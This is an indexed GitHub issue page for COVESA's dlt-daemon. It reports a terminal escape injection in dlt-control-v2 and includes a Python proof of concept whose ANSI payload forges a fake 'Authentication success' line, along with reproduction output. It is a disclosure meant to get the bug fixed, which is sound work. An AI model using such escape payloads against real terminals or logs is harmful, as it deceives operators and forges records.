COVESA / COVESA/dlt-daemon

dlt-control-v2 in terminal escape injection

Open
#888 3 comments 2 reactions 0 assignees View on GitHub
Dominant language
C
Stars
459
Forks
340
Avg merge
4d 21h
Merged PRs (30d)
2

Description

### Summary

The tool is vulnerable to Terminal Escape Injection due to improper input validation. The application accepts a raw string via the -a flag, which is assigned directly to dltdata.avalue (dlt-control-v2.c:397) without any validation or transformation. This raw data is subsequently propagated to printf() at line 610 (and identically at lines 632, 667, and 700) without sanitization.

https://github.com/COVESA/dlt-daemon/blob/b84dbc0d1ab35f686dd225956d33c003b5917ab6/src/console/dlt-control-v2.c#L610

Consequently, an attacker can inject malicious ANSI escape sequences that are executed by the user's terminal emulator, leading to log forgery, terminal state manipulation, and potential deception of system operators.

### PoC
```
#!/usr/bin/env python3
import subprocess
import sys

PAYLOAD = "\x1b[1A\x1b[2K\r[\x1b[32m\x1b[1mOK\x1b[0m] Authentication success"

def run_exploit(binary_path):
cmd = [
binary_path,
"-p", "3490",
"-a", PAYLOAD,
"-c", "TEST",
"-s", "1",
"-m", "injection_test",
"localhost"
]

subprocess.run(cmd)

if __name__ == "__main__":
if len(sys.argv) < 2:
print("[!] Error: You must provide the path to the binary.")
print("[!] Usage: python3 poc.py ")
sys.exit(1)

binary = sys.argv[1]

try:
run_exploit(binary)
except FileNotFoundError:
print(f"[!] Binary not found: {binary}")

```

### Reproduction Steps
```
$ python3 poc.py ./src/console/dlt-control-v2
Cannot open configuration file: etc/dlt.conf
ERROR: Failed to read ECUId from dlt.conf
[OK] Authentication success
ConId: TEST
ServiceId: 1
Message: injection_test
[67483.359139]~DLT~37986~INFO ~dlt_client_send_ctrl_msg_v2: Control message forwarded : DLT_SERVICE_ID_SET_LOG_LEVEL
```

Contributor guide

No contributing guide indexed for this repository

Research direction

Read src/console/dlt-control-v2.c around lines 397, 610, 632, 667, and 700 to trace the -a value into the output calls. Run the provided Python PoC against the dlt-control-v2 binary and observe the terminal output. Done means the payload no longer changes terminal display state while normal control-message output still appears.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
cli, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
65/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.